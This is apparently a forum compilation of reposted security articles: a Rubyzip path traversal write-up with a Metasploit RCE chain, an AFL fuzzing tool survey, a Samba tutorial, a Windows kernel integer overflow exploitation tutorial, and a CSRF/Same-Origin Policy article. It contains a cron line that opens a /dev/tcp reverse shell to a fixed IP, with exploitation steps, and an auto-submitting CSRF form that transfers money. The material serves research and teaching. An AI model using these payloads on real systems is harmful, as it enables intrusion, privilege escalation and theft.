File.dirname("../../path/traversal")) => #<Pathname:/path> irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal") => #<Pathname:/path/traversal> irb(main):005:0> parent_directory + "../../path/traversal" => #<Pathname:/path/traversal> Thanks to the interpretation of the ../ by Pathname, the argument to Rubyzip’s Entry#extract call does not contain any path traversal payloads which results in a mistakenly supposed “safe” path. Since the gem does not perform any validation, the exploitation does not even require this unexpected path concatenation. From Arbitrary File Write to RCE (RoR Style) Apart from the usual *nix and windows specific techniques (like writing a new cronjob or exploiting custom scripts), we were interested in understanding how we could leverage this bug to achieve RCE in the context of a RoR application. Since our target was running in production environments, RoR classes were cached on first usage via the cache_classes directive. During the time allocated for the engagement we didn’t find a reliable way to load/inject arbitrary code at runtime via file write without requiring a RoR reboot. However, we did verify in a local testing environment that chaining together a Denial of Service vulnerability and a full path disclosure of the web app root can be used to trigger the web server reboot and achieve RCE via the aforementioned zip handling vulnerability. The official documentation explains that: After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded. Using this feature, an attacker with the right privileges can add a malicious .rb in the /config/initializers folder which will be loaded at web server (re)boot. Attacking the attackers. Metasploit Authenticated RCE (CVE-2019-5624) Just after the end of the engagement and with the approval of our customer, we started looking at popular software that was likely affected by the Rubyzip bug. As we were brainstorming potential targets, an icon on one of our VMs caught our attention: Metasploit Framework Going through the source code, we were able to quickly identify several files that are using the Rubyzip library to create ZIP files. Since our vulnerability resides in the extract function, we recalled an option to import a ZIP workspace from previous MSF versions or from different instances. We identified the corresponding code path in zip.rb file (line 157) that is responsible for importing a Metasploit ZIP File: data.entries.each do |e| target = ::File.join(@import_filedata[:zip_tmp], e.name) data.extract(e,target) As for the vanilla Rubyzip example, creating a ZIP file containing a path traversal payload and embedding a valid MSF workspace (an XML file containing the exported info from a scan) made it possible to obtain a reliable file-write primitive. Since the extraction is done as root, we could easily obtain remote command execution with high privileges using the following steps: Create a file with the following content: * * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196" Generate the ZIP archive with the path traversal payload: python evilarc.py exploit --os unix -p etc/cron.d/ Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive) Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell) Login in the MSF Web Interface Create a new “Project” Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button Wait for the import process to finish Enjoy your reverse shell Conclusions In case you are using Rubyzip, check the library usage and perform additional validation against the entry name and the destination path before calling Entry#extract. Here is a small recap of the different scenarios (as of Rubyzip v1.2.2? Usage Input by user? Vulnerable to path traversal? entry.extract(path) yes (path) yes entry.extract(path) partially (path is concatenated) maybe entry.extract() partially (entry name) no entry.extract() no no If you’re using Metasploit, it is time to patch. We look forward to seeing a msf module for CVE-2019-5624. Credits and References Credit for the research and bugs go to @voidsec and @polict. This work has been performed during a customer engagement and Doyensec 25% Research Time. As such, we would like to thank our customer and Metasploit maintainers for their support. If you’re interested in the topic, take a look at the following resources: Rubyzip Library Ruby on Rails Guides Attacking Ruby on Rails Applications 1997 Portable BBS Hacking (or when Zip Slip was actually invented) Evilarc blog post (or 2019 and this post is still relevant) Sursa: https://blog.doyensec.com/2019/04/24/rubyzip-bug.html

d1g1 вчера в 05:00 Zoo AFL Блог компании «Digital Security», Информационная безопасность In this article, we're going to talk about not the classical AFL itself but about utilities designed for it and its modifications, which, in our view, can significantly improve the quality of fuzzing. If you want to know how to boost AFL and how to find more vulnerabilities faster – keep on reading! What is AFL and What is it Good for? AFL is a coverage-guided, or feedback-based, fuzzer. More about these concepts can be found in a cool paper, “Fuzzing: Art, Science, and Engineering”. Let's wrap up general information about AFL: It modifies the executable file to find out how it influences coverage. Mutates input data to maximize coverage. Repeats the preceding step to find where the program crashes. It’s highly effective, which is proven by practice. It’s very easy to use. Here's a graphic representation: If you don't know what AFL is, here is a list of helpful resources for you to start: The official page of the project. afl-training — a short intro to AFL. afl-demo — a simple demo of fuzzing C++ programs with AFL. afl-cve — a collection of the vulnerabilities found with AFL (hasn't been updated since 2017). Here you can read about the stuff AFL adds to a program during its build. A few useful tips about fuzzing network applications. At the moment this article was being written, the latest version of AFL was 2.52b. The fuzzer is in active development, and with time some side developments are being incorporated into the main AFL branch and grow irrelevant. Today, we can name several useful accessory tools, which are listed in the following chapter. Rode0day competition Some AFL users noted that its author, Michal Zalewski, had apparently abandoned the project since the last modifications date to November 5, 2017. This may be connected to him leaving Google and working on some new projects. So, users started to make new patches themselves for the last current version 2.52b. There are also different variations and derivates of AFL, which allows fuzzing Python, Go, Rust, OCaml, GCJ Java, kernel syscalls, or even entire VMs. AFL for other programming languages Accessory tools For this chapter, we've collected various scripts and tools for AFL and divided them into several categories: Crash processing afl-utils — a set of utilities for automatic processing/analysis of crashes and reducing the number of test cases. afl-crash-analyzer — another crash analyzer for AFL. fuzzer-utils — a set of scripts for the analysis of results. atriage — a simple triage tool. afl-kit — afl-cmin on Python. AFLize — a tool that automatically generates builds of debian packages suitable for AFL. afl-fid — a set of tools for working with input data. Work with code coverage afl-cov — provides human-friendly data about coverage. count-afl-calls — ratio assessment. Script counts the number of instrumentation blocks in the binary. afl-sancov — is like afl-cov but uses a clang sanitizer. covnavi — a script for covering code and analysis by Cisco Talos Group. LAF LLVM Passes — something like a collection of patches for AFL that modify the code to make it easier for the fuzzer to find branches. A few scripts for the minimization of test cases afl-pytmin — a wrapper for afl-tmin that tries to speed up the process of the minimization of test case by using many CPU cores. afl-ddmin-mod — a variation of afl-tmin based on the ddmin algorithm. halfempty — is a fast utility for minimizing test cases by Tavis Ormandy based on parallelization. Distributed execution disfuzz-afl — distributed fuzzing for AFL. AFLDFF — AFL distributed fuzzing framework. afl-launch — a tool for the execution of many AFL instances. afl-mothership — management and execution of many synchronized AFL fuzzers on AWS cloud. afl-in-the-cloud — another script for running AFL in AWS. VU_BSc_project — fuzzing testing of the open source libraries with libFuzzer and AFL. Recently, there has been published a very good article titled “Scaling AFL to a 256 thread machine”. Deployment, management, monitoring, reporting afl-other-arch — is a set of patches and scripts for easily adding support for various non-x86 architectures for AFL. afl-trivia — a few small scripts to simplify the management of AFL. afl-monitor — a script for monitoring AFL. afl-manager — a web server on Python for managing multi-afl. afl-tools — an image of a docker with afl-latest, afl-dyninst, and Triforce-afl. afl-remote — a web server for the remote management of AFL instances. AFL Modifications AFL had a very strong impact on the community of vulnerability researchers and fuzzing itself. It's not surprising at all that after some time people started making modifications inspired by the original AFL. Let's have a look at them. In different situations, each of these modifications has its own pros and cons compared to the original AFL. Almost all mods can be found at hub.docker.com hub.docker.com What for? Increase the speed and/or code coverage Algorithms Environment OS Hardware Working without source code Code emulation Code instrumentation Static Dynamic Default modes of AFL operation Before going on with examining different modifications and forks of AFL, we have to talk about two important modes, which also had been modifications in the past but were eventually incorporated. They are Syzygy and Qemu. Syzygy mode — is the mode of working in instrument.exe instrument.exe --mode=afl --input-image=test.exe --output-image=test.instr.exe Syzygy allows to statically rewrite PE32 binaries with AFL but requires symbols and an additional dev to make WinAFL kernel aware. Qemu mode — the way it works under QEMU can be seen in “Internals of AFL fuzzer — QEMU Instrumentation”. The support of working with binaries with QEMU was added to upstream AFL in Version 1.31b. AFL QEMU mode works with the added functionality of binary instrumentation into qemu tcg (a tiny code generator) binary translation engine. For that, AFL has a build script qemu, which extracts the sources of a certain version of qemu (2.10.0), puts them onto several small patches and builds for a defined architecture. Then, a file called afl-qemu-trace is created, which is in fact a file of user mode emulation of (emulation of only executable ELF files) qemu-. Thus, it is possible to use fuzzing with feedback on elf binaries for many different architectures supported by qemu. Plus, you get all the cool AFL tools, from the monitor with information about the current session to advanced stuff like afl-analyze. But you also get the limitations of qemu. Also, if a file is built with toolchain using hardware SoC features, which launches the binary and is not supported by qemu, fuzzing will be interrupted as soon as there is a specific instruction or a specific MMIO is used. Here's another interesting fork of the qemu mode, where the speed was increased 3-4 times with TCG code instrumentation and cashing. Forks The appearance of forks of AFL is first of all related to the changes and improvements of the algorithms of the classic AFL. pe-afl — A modification for fuzzing PE files that have no source code in the Windows OS. For its operation, the fuzzer analyzes a target program with IDA Pro and generates the information for the following static instrumentation. An instrumented version is then fuzzed with AFL. afl-cygwin — is an attempt to port the classic AFL to Windows with Cygwin. Unfortunately, it has many bugs, it's very slow, and the development of has been abandoned. AFLFast (extends AFL with Power Schedules) — one of the first AFL forks. It has added heuristics, which allow it to go through more paths in a short time period. FairFuzz — an extension for AFL, that targets rare branches. AFLGo — is an extension for AFL meant for getting to certain parts of code instead of full program coverage. It can be used for testing patches or newly added fragments of code. PerfFuzz — an extension for AFL, that looks for test cases which could significantly slow down the program. Pythia — is an extension for AFL that is meant to forecast how hard it is to find new paths. Angora — is one of the latest fuzzers, written on rust. It uses new strategies for mutation and increasing the coverage. Neuzz — fuzzing with neural netwoks. UnTracer-AFL — integration of AFl with UnTracer for effective tracing. Qsym — Practical Concolic Execution Engine Tailored for Hybrid Fuzzing. Essentially, it is a symbolic execution engine (basic components are realized as a plugin for intel pin) that together with AFL performs hybrid fuzzing. This is a stage in the evolution of feedback-based fuzzing and calls for a separate discussion. Its main advantage is that can do concolic execution relatively fast. This is due to the native execution of commands without intermediate representation of code, snapshots, and some heuristics. It uses the old Intel pin (due to support problems between libz3 and other DBTs) and currently can work with elf x86 and x86_64 architectures. Superion — Greybox fuzzer, an obvious advantage of which is that along with an instrumented program it also gets specification of input data using the ANTLR grammar and after that performs mutations with the help of this grammar. AFLSmart — Another Graybox fuzzer. As input, it gets specification of input data in the format used by the Peach fuzzer. There are many research papers dedicated to the implementation of the new approaches and fuzzing techniques where AFL is modified. Only white papers are available, so we didn't even bother mentioning those. You can google them if you want. For example, some of the latest are CollAFL: Path Sensitive Fuzzing, EnFuzz, «Efficient approach to fuzzing interpreters», ML for AFL. Modifications based on Qemu TriforceAFL — AFL/QEMU fuzzing with full emulation of a system. A fork by nccgroup. Allows fuzzing the entire OS in qemu mode. It is realized with a special instruction (aflCall (0f 24)), which was added in QEMU x64 CPU. Unfortunately, it's no longer supported; the last version of AFL is 2.06b. TriforceLinuxSyscallFuzzer — the fuzzing of Linux system calls. afl-qai — a small demo project with QEMU Augmented Instrumentation (qai). A modification based on KLEE kleefl — for generating test cases by means of symbolic execution (very slow on big programs). A modification based on Unicorn afl-unicorn — allows for fuzzing of fragments of code by emulating it on Unicorn Engine. We successfully used this variation of AFL in our practice, on the areas of the code of a certain RTOS, which was executed on SOC, so we couldn't use QEMU mode. The use of this modification is justified in the case when we don't have sources (we can't build a stand-alone binary for the analysis of the parser) and the program doesn't take input data directly (for example, data is encrypted or is signal sample like in a CGC binary), then we can reverse and find the supposed places-functions, where the data is procced in a format convenient for the fuzzer. This is the most general/universal modification of AFL, i.e. it allows fuzzing anything. It's independent of architecture, sources, input data format, and binary format (the most striking example of bare-metal — just fragments of code from the controller's memory). The researcher first examines this binary and writes a fuzzer, which emulates the state at the input of the parser procedure. Obviously, unlike AFL, this requires a certain examination of binary. For bare-metal firmware, like Wi-FI or baseband, there are certain drawbacks that you need to keep in mind: We have to localize the check of the control sum. Keep in mind that the state of the fuzzer is a state of memory that was saved in the memory dump, which can prevent the fuzzer from getting to certain paths. There's no sanitation of calls to dynamic memory, but it can be realized manually, and it will depend on RTOS (has to be researched). Intertask RTOS interaction is not emulated, which can also prevent finding certain paths. An example of working with this modification “afl-unicorn: Fuzzing Arbitrary Binary Code” and “afl-unicorn: Part 2 — Fuzzing the ‘Unfuzzable’”. Before we go on to the modifications based on the frameworks of dynamic binary instrumentation (DBI), let's not forget that the highest speed of these frameworks is shown by DynamoRIO, Dynlnst and, finally, PIN. PIN-based modifications aflpin — AFL with Intel PIN instrumentation. afl_pin_mode — another AFL instrumentation realized through Intel PIN. afl-pin — AFL with PINtool. NaFl — A clone (of the basic core) of AFL fuzzer. PinAFL — the author of this tool tried to port AFL to Windows for the fuzzing of already compiled binaries. Seems like it was done overnight just for fun; the project has never gone any further. The repository doesn't have sources, only compiled binaries and launch instruction. We don't know which version of AFL it's based on, and it only supports 32-bit applications. As you can see, there are many different modifications, but they are not very very useful in real life. Dyninst-based modifications afl-dyninst — American Fuzzy Lop + Dyninst == AFL balckbox fuzzing. The feature of this version is that first a researched program (without the source code) is instrumented statically (static binary instrumentation, static binary rewriting) with Duninst, and then is fuzzed with the classic AFL that thinks that the program is build with afl-gcc/afl-g++/afl-as As a result, it allows is to work with a very good productivity without the source code — It used to be at 0.25x speed compared to a native compile. It has a significant advantage compared to QEMU: it allows the instrumentation of dynamic linked libraries, while QEMU can only instrument the basic executable file statically linked with libraries. Unfortunately, now it's only relevant for Linux. For Windows support, changes to Dyninst itself are needed, which is being done. There's yet another fork with improved speed and certain features (the support of AARCH64 and PPC architectures). Modifications based on DynamoRIO drAFL — AFl + DynamoRIO – fuzzing without sources on Linux. afl-dr — another realization based on DynamoRIO which very well described on Habr. afl-dynamorio — a modification by vanhauser-thc. Here's what he says about it: «run AFL with DynamoRIO when normal afl-dyninst is crashing the binary and qemu mode -Q is not an option». It supports ARM and AARCH64. Regarding the productivity: DynamoRIO is about 10 times slower than Qemu, 25 times slower than dyninst, but about 10 times faster than Pintool. WinAFL — the most famous AFL fork Windows. (DynamoRIO, also syzygy mode). It was only a matter of time for this mod to appear because many wanted to try AFL on Windows and apply it to apps without sources. Currently, this tool is being actively improved, and regardless of a relatively outdated code base of AFL (2.43b when this article is written), it helped to find several vulnerabilities (CVE-2016-7212, CVE-2017-0073, CVE-2017-0190, CVE-2017-11816). The specialists from Google Zero Project team and MSRC Vulnerabilities and Mitigations Team are working in this project, so we can hope for the further development. Instead of compilation time instrumentation, the developers used dynamic instrumentation(based on DynamoRIO), which significantly slowed down the execution of the analyzed software, but the resulting overhead (doubled) is comparable to that of the classic AFL in binary mode. They also solved the problem of fast process launch, having called it persistent fuzzing mode; they choose the function to fuzz (by the offset inside the file or by the name of function present in the export table) and instrument it so that it could be called in the cycle, thus launching several input data samples without restarting the process. An articlecame out recently, describing how the authors found around 50 vulnerabilities in about 50 days using WinAFL. And shorty before it was published, Intel PT mode had been added to WinAFL; detalis can be found here. An advanced reader could notice that there are modifications with all the popular instrumentation frameworks except for Frida. The only mention of the use of Frida with AFL was found in «Chizpurfle: A Gray-Box Android Fuzzer for Vendor Service Customizations». A version of AFL with Frida is really useful because Frida supports several RISC architectures. Many researches are also looking forward to the release of DBI Scopio framework by the creator of Capstone, Unicorn, and Keystone. Based on this framework, the authors have already created a fuzzer (Darko) and, according to them, successfully use it to fuzz embedded devices. More on this can be found in «Digging Deep: Finding 0days in Embedded Systems with Code Coverage Guided Fuzzing». Modifications, based on processor hardware features When it comes to AFL modifications with the support of processor hardware features, first of all, it allows fuzzing kernel code, and secondly — it allows for much faster fuzzing of apps without the source code. And of course, speaking about processor hardware features, we are most of all interested in Intel PT (Processor Tracing). It is available from the 6th generation of processors onwards (approximately, since 2015). So, in order to be able to use the fuzzers listed below, you need a processor supporting Intel PT. WinAFL-IntelPT — a third-party WinAFL modification that uses Intel PT instead of DynamoRIO. kAFL — is an academic project aimed at solving the coverage-guided problem for the OS-independent fuzzing of the kernel. The problem is solving by using a hypervisor and Intel PT. More about it can be found in the white paper «kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels». Conclusion As you can see, the area of AFL modifications is actively evolving. Still, there is room for experiments and creative solutions; you can create a useful and interesting new modification. Thanks for reading us and good luck with fuzzing! Co-author: Nikita Knyzhov presler P.S. Thanks to the research center team, without whom this article would be impossible. Sursa: https://habr.com/ru/company/dsec/blog/449134/

Make Redirection Evil Again:URLParser Issues in OAuth XianboWang1, Wing CheongLau1, Ronghai Yang1,2, andShangchengShi11 The Chinese University of Hong Kong,2Sangfor Technologies Co., Ltd Download: https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf

curl http://wttr.in

Poti executa JS?

Da, mov (dar si alte instructiuni) sunt Turing complete.

Network Basics for Hackers: Server Message Block (SMB) and Samba March 4, 2019 | OTW Welcome back, my aspiring cyber warriors! This series is intended to provide the aspiring cyber warrior with all the information you need to function in cyber security from a network perspective, much like my "Linux Basics for Hackers" is for Linux. In this tutorial we will address Server Message Block or SMB. Although most people have heard the acronym, few really understand this key protocol. It may be the most impenetrable and least understood of the communication protocols, but so critical to the smooth functioning of your network and it's security. What is SMB? Server Message Block (SMB) is an application layer (layer 7) protocol that is widely used for file, port, named pipe and printer sharing. It is a client-server communication protocol. It enables users and applications to share resources across their LAN. This means that if one system has a file that is needed by another system, SMB enables the user to share their files with other users. In addition, SMB can be used to share a printer over the Local Area Network (LAN). SMB over TCP/IP uses port 445. SMB is a client-server, request response protocol. The diagram below illustrates the request-response nature of this protocol. Clients connect to servers via TCP/IP or NetBIOS. Once the two have established a connection, the clients can send commands to access shares, read and write files and access printers. In general, SMB enables the client to do everything they normally do on their system, but over the network. SMB was first developed by IBM in the 1980's (the dominant computer company from the 1950's through the mid 1990's) and then adopted and adapted by Microsoft for its Windows operating system CIFS The term CIFS and SMB are often confused by the novice and cyber security professional alike. CIFS stands for “Common Internet File System.” CIFS is a dialect or a form of of SMB. That is, CIFS is a particular implementation of the Server Message Block protocol. It was developed by Microsoft to be used on early Microsoft operating systems. CIFS is now generally considered obsolete as it has been supplanted by more modern implementations of SMB including SMB 2.0 (introduced in 2006 with Windows Vista) and SMB 3.0 (introduced with Windows 8 and Server 2012). Vulnerabilities SMB in Windows and Samba in Linux/Unix systems (see below) has been major source of critical vulnerabilities on both these operating systems in the past and will likely will continue to be a source of critical vulnerabilities in the future. Two of the most critical Windows vulnerabilities over the last decade or so, have been SMB vulnerabilities. These include MS08-067 and more recently, the EternalBlue exploit developed by the NSA. In both cases, these exploits enabled the attacker to send specially crafted packets to SMB and execute remote code with system privileges on the target system. In other words, armed with these exploits, the attacker could take over any system and control everything on it. For a detailed look at the EternalBlue exploit against Windows 7 by Metasploit, see my tutorial here. In addition, using Metasploit, an attacker can set up a fake SMB server to capture credentials. In addition, the Linux/Unix implementation of SMB, Samba, has had its own problems as well. Although far from a complete list of vulnerabilities and exploits, when we search Metasploit 5 for smb exploits we find the considerable list below. Note the highlighted infamous MS08-067 exploit responsible for the compromising of millions of Windows Server 2003, Windows XP and earlier systems. Near the bottom of the list you can find the NSA's EternalBlue exploit (MS17-010) that the NSA used to compromise untold number of systems and then--after its release by Shadowbrokers--was used by such ransomware as Petya and WannaCry. In the Network Forensics section here at Hackers-Arise, I have detailed packet-level analysis of the EternalBlue exploit against SMB on a Windows 7 system. Samba While SMB was originally developed by IBM and then adopted by Microsoft, Samba was developed to mimick a Windows server on a Linux/UNIX system. This enables Linux/UNIX systems to share resources with Windows systems as if they were Windows systems. Sometimes the best way to understand a protocol or system is to simply to install and implement it yourself. Here, we will install, configure and implement Samba on a Linux system. As usual, I will be using Kali--which is built upon Debian-- for demonstration purposes, but this should work on any Debian system including Ubuntu and usually any of the vast variety of *NIX systems. Step #1: Download and Install Samba The first step, if not already installed, is to download and install Samba. It is in most repositories, so simply enter the command; kali > apt-get install samba Step #2: Start Samba Once Samba has been downloaded and installed we need to start Samba. Samba is a service in Linux and like any service, we can start it with the service command. kali > service smbd start Note that the service is not called "Samba" but rather smbd or smb daemon. Step #3: Configure Samba Like nearly every service or application in Linux, configuration can be done via simple text file. For Samba that text file is at /etc/samba/smb.conf. Let's open it with any text editor. kali > leafpad /etc/samba/smb.conf We can configure Samba on our system by simply adding the following lines to the end of our configuration file. In our example, we begin by; naming our share [HackersArise_share]; providing a comment to explain comment = Samba on Hackers-Arise; provide a path to our share path = /home/OTW/HackersArise_share; determine whether the share is read only read only = no; determine whether the share is browsable browsable = yes. Note that the share is in the user's home directory (/home/OTW/HackersArise_share) and we have the option to make the share "read only". Step #4: Creating a share Now that we have configured Samba, we need to create a share. A "share" is simply a directory and it's contents that we make available to other users and applications on the network. The first step is to create a directory using mkdir in the home directory of the user. In this case, we will create a directory for user OTW called HackersArise_share. kali > mkdir /home/OTW/HackersArise_share Once that directory has been created, we need to give every user access to it by changing its permissions with the chmod command. kali > chmod 777 /home/OTW/HackersArise_share Now, we need to restart Samba to capture the changes to our configuration file and our new share. kali > service smbd restart With the share created, from any Windows machine on the network you can access that share by simply navigating via the File Explorer to the share by entering the IP address and the name of the share, such as; \\192.168.1.101\HackersArise_share Conclusion SMB is a critical protocol on most computer systems for file, port, printer and named pipe sharing. It is little understood and little appreciated by most cyber security professionals, but it can be critical vulnerability on these systems as shown by MS08-067 and the NSA's EternalBlue. The better we understand these protocols, the better we protect our systems from attack and compromise. Sursa: https://www.hackers-arise.com/single-post/2019/03/04/Network-Basics-for-Hackers-Server-Message-Block-SMB

Windows Kernel Exploitation Part 3: Integer Overflow By Himanshu Khokhar On April 4, 2019 In Exploit Development, Integer Overflow, Kernel Exploitation, Reverse Engineering Introduction Welcome to the third part of Windows Kernel Exploitation series. In this part, we are going to exploit integer overflow in the HackSysExtremeVulnerableDriver. What exactly is an integer overflow? For those who do not know about integer overflows, you might be thinking how an integer can overflow? Well, the actual integer does not overflow. CPU stores integers in fixed size memory allocations (we are not talking about heap or alike here). If you are familiar with C/C++ programming language or similar languages, you might recall data types and how each data type has specific fixed size. On most machines and OSes, char is 1 byte and int is 4 bytes long. What that means is a char data type can hold values that are 8-bits in size, ranging from 0 to 255 or in case of signed values, -128 to 127. Same goes for integers, on machines where int is 4-bytes in size, it can hold values from 0 to 232 – 1 (in case of unsigned values). Now, let us consider we are using an unsigned int whose largest value can be 232 – 1 or 0xFFFFFFFF. What happens when you add 1 to this? Since all the 32 bits are set to one, adding one will make it a 33-bit value but since the storage can hold only 32 bits, those 32 bits are set to 0. When doing operations, CPU generally loads the number in a 32-bit register (talking about x86 here) and adding 1 will set Carry Flag and the register holds value 0 as all 32 bits are now 0. Now, if there is a size check whether the value is greater than, let’s say 10, then the check will fail but if the size restriction was not there, then the comparison operation would return true. To understand it in more detail, let us have a look the vulnerability and see how we can exploit integer overflow issue in HEVD to gain code execution in Windows Kernel. Vulnerability Now we have got it cleared, let us have a look at the vulnerable code (function TriggerIntegerOverflow located in IntegerOverflow.c). Initially, the function creates an array of ULONGs which can hold 512 member elements (BufferSize is set to 512 in common.h header file). Vulnerable function in IntegerOverflow.c The kernel then checks if the buffer resides in user land and then it prints some information for us. Pretty helpful. Once that has been done, the kernel then checks whether the size of the data (along with the size of Terminator, which is 4 bytes) is more than that of KernelBuffer. If it is, then it exits without copying the user-land buffer in kernel-land buffer. Size checks But, if that is not the case, then it goes ahead, and copies data to the kernel buffer. Another thing to note here is that IF it encounters BufferTerminator in the user-land buffer, it stops copying and moves ahead. So, we need to put the BufferTerminator at the end of our user mode buffer. Copying user-mode data to kernel-mode function stack The Overflow The problem in Line 100 of IntegerOverflow.c is that if we supply the size parameter as 0xFFFFFFFC and then it adds the size of BufferTerminator (which is 4 bytes), the effective size becomes – 0xFFFFFFFC + 4 = 0x00000000 which is less than the size of KernelBuffer and therefore, we pass the check of the data size and move to copying of the buffer to kernel mode. Verifying the bug Now, to verify this, we are going to send our buffer to the HEVD but passing 0xFFFFFFFC as the size of the buffer. For now, we will not place a huge buffer and crash the kernel, rather we will just send a small buffer and confirm. PoC of triggering Integer Overflow Since we know the buffer is of 512 ULONGs, we will just send this data and see what the kernel does. Note: Here, the focus is on the 4th parameter of DeviceIoControl rather than on the actual data. Finally, send this buffer to HEVD and see what happens. Successfully triggered Integer Overflow As you can see in the picture, the UserBuffer Size says 0xFFFFFFFC, but we still managed to bypass the size validity check and triggered integer overflow. We confirmed that by putting 0xFFFFFFFC, we can bypass the check size, now all it remains is to put a pattern (a unique pattern) after the UserBuffer and put the terminator after that to find saved return pointer overwrite. If you do not know how to do that, please read Part 1 of this series where I have shown how to do this. Let us move ahead and exploit it. Exploiting the Overflow All now remains is to use overwrite the saved return address with the TokenStealingPayloadWin7 shellcode provided in HEVD and you are done. Note: You may need to modify the shellcode a bit to save it from crashing. This is your homework. Getting the shell Let us first verify whether I am a regular user or not. Regular User As it can be seen, I am just a regular user. After we run our exploit, I become nt authority/system. Successful exploitation of Integer Overflow That’s for this this part folks, see you in next part. You can find whole code in my code repo here. References HackSysTeam FuzzySecurity Sursa: https://pwnrip.com/windows-kernel-exploitation-part-3-integer-overflow/

Same-Origin Policy: From birth until today In this blog post I will talk about Cross-Origin Resource Sharing (CORS) between sites on different domains, and how the web browser’s Same Origin Policy is meant to facilitate CORS in a safe way. I will present data on cross-origin behaviour of various versions of four major browsers, dating back to 2004. I will also talk about recent security bugs (CVE-2018-18511 and CVE-2019-9797) I discovered in the latest versions of Firefox, Chrome and Opera which allows stealing sensitive images via Cross-Site Request Forgery (CSRF). Overview Motivation An attack… … and the defence What is CORS, SOP, preflight checks and all this jibberish you’re talking about? CORS headers Why GET should be “safe” SOP behaviour across browsers Browsers tested Test setup Server CORS modes Cross-origin request methods Requested targets Results Implications Tools used References Motivation An attack… Cross-Site Request Forgery (CSRF or XSRF) is arguably one of the most common issues we encounter during web app testing, and one of the trickiest to protect against. The attack goes as follows: A malicious user, Eve, has an account with bank.example with account number Eve wants to steal money from another customer, Bob, and knows that the HTTP request Bob would send to bank.example to transfer $10000 to Eve is as follows: POST /transfer.php HTTP/1.1 Host: bank.example Cookie: PHPSESSID={Bob's secret session cookie} fromAcc=primary&toAcc=123456&amount=10000 Figure 1: An HTTP request vulnerable to CSRF So she sets up a page at https://evil-eve.example/how-to-delete-yourself-from-the-internet with the following contents: <!DOCTYPE html> <html> <head> <script> document.addEventListener("DOMContentLoaded", function() { document.getElementById("gimmeTheMoney").submit(); }); </script> </head> <body> <form id="gimmeTheMoney" method="POST" action="https://bank.example/transfer.php"> <input type="hidden" name="fromAcc" value="primary"> <input type="hidden" name="toAcc" value="123456"> <input type="hidden" name="amount" value="10000"> </form> </body> </html> Figure 2: An HTML page which submits the request in Figure 1 The HTML form on the page corresponds to the POST request shown above. When Bob visits Eve’s page, in the hope of erasing past mistakes, the form is automatically submitted and includes Bob’s PHPSESSID cookie (if he has logged in to the bank’s website recently), performing the money transfer. … and the defence There are a few ways websites can protect their users from this type of attack. This article is not meant to explain all of them in detail; OWASP’s cheatsheet does a good job at that, albeit on a technical level. In short, there are two main techniques websites can use to counter CSRF: Relying on the browser... ...and its Same Origin Policy (SOP); this is the scenario I investigate in this article ...by setting cookies with the SameSite flag Using dynamic pages and generating one-time tokens for each action on the page, every time the page is reloaded. Option 1.1 only works if the application refuses to accept requests that are sent via HTML forms (i.e. requests with content type application/x-www-form-urlencoded, multipart/form-data or text/plain, and no non-standard HTTP headers). This is because the same origin policy only applies to actions taken by JavaScript (and other browser-scripting languages). It does not apply to old-school HTML forms, so browsers can’t do anything to block HTML form submissions from untrusted domains. Requests containing JSON data or non-standard headers (e.g. X-Requested-With) on the other hand can only be sent via JavaScript. The browser needs to send a so-called “pre-flight check”, and unless the check determines that the target domain (e.g. bank.example) explicitly allows such requests from the origin domain (e.g. evil-eve.example), the browser doesn’t send the actual request. bank.example needs to respond with appropriate HTTP headers for the same origin policy to be effective; see section CORS headers. Option 1.2 will prevent attacks like the one described, but it is supported only in modern browsers. Furthermore it will not prevent unauthenticated CSRF attacks to websites which are on an internal network or rely on IP whitelisting for authorization. The method relies on the legitimate server (bank.example) instructing the browser to only include the session cookie if the request is coming from the same origin, i.e. https://bank.example. The browser respects this during HTML form submissions too. This way, money transfers on bank.example work correctly, but the form hosted on evil-eve.example will not include Bob’s session cookie when submitted, and hence will prevent the transfer from occurring. Option 2 can be used to prevent CSRF attacks that rely on any HTTP method and submission type (GET or POST; HTML forms or JavaScript), but has many pitfalls: care needs to be taken to issue, require and validate the token for every request; the server still needs to implement an appropriate CORS policy to prevent malicious sites from learning the token; the token needs to be generated in a cryptographically secure random way, be long enough, short-lived and tied to the current user’s session (i.e. invalidated upon Log out). What is CORS, SOP, preflight checks and all this jibberish you’re talking about? An origin is defined by a schema (or protocol), hostname and port number, e.g. https://bank.example:443. The standard says two origins are considered the same if and only if all of the below conditions are met: the protocol for both origins is the same, e.g. https the hostname for both origins is the same, e.g. bank.example; the hostname can be only partially-qualified (e.g. localhost); it can also be an IP address 1 the port number for both origins is the same; the port number does not have to be explicitly given, i.e. https://bank.example:443 and https://bank.example are the same origin since 443 is the default port number for https Requests sent from one origin to a different one are called cross-origin requests. Historically browsers flat out refused to allow JavaScript to make cross-origin requests. This was done for security reasons, namely to prevent CSRF. As web applications became more complicated and interconnected the need for JavaScript-initiated cross-origin requests became evident. To enable cross-origin requests in a secure manner the standard for Cross-Origin Resource Sharing (CORS) was introduced. CORS says that when making cross-origin requests browsers must include the Origin header and not include cookies unless explicitly requested, for example if the request had set XMLHttpRequest.withCredentials to true. Additionally, CORS defines the concept of a simple request. A request is simple if all of these are true: the method is GET, HEAD or POST the request does not include non-standard headers it submits content of type application/x-www-form-urlencoded, multipart/form-data or text/plain (those that can be submitted via HTML forms) If the request is simple, the browser can send the request to the external origin, but if the server’s CORS policy does not allow the request the browser must not allow JavaScript to read the response. If the request is not simple, the browser must do a preflight check (OPTIONS HTTP method) with appropriate CORS headers. If the server’s CORS policy does not explicitly allow the request, then it must refuse to send the actual request. Servers receiving cross-origin requests must respond with appropriate CORS headers indicating whether the request is allowed; this is done irrespective of whether the request is a preflight check (OPTIONS) or the actual request (e.g. GET). CORS headers If no preflight check is done browsers are only required to send the Origin header. Otherwise the preflight check should have an empty body, include no cookies, and include the Access-Control-Request-Method header with the method of the request to be made, e.g. 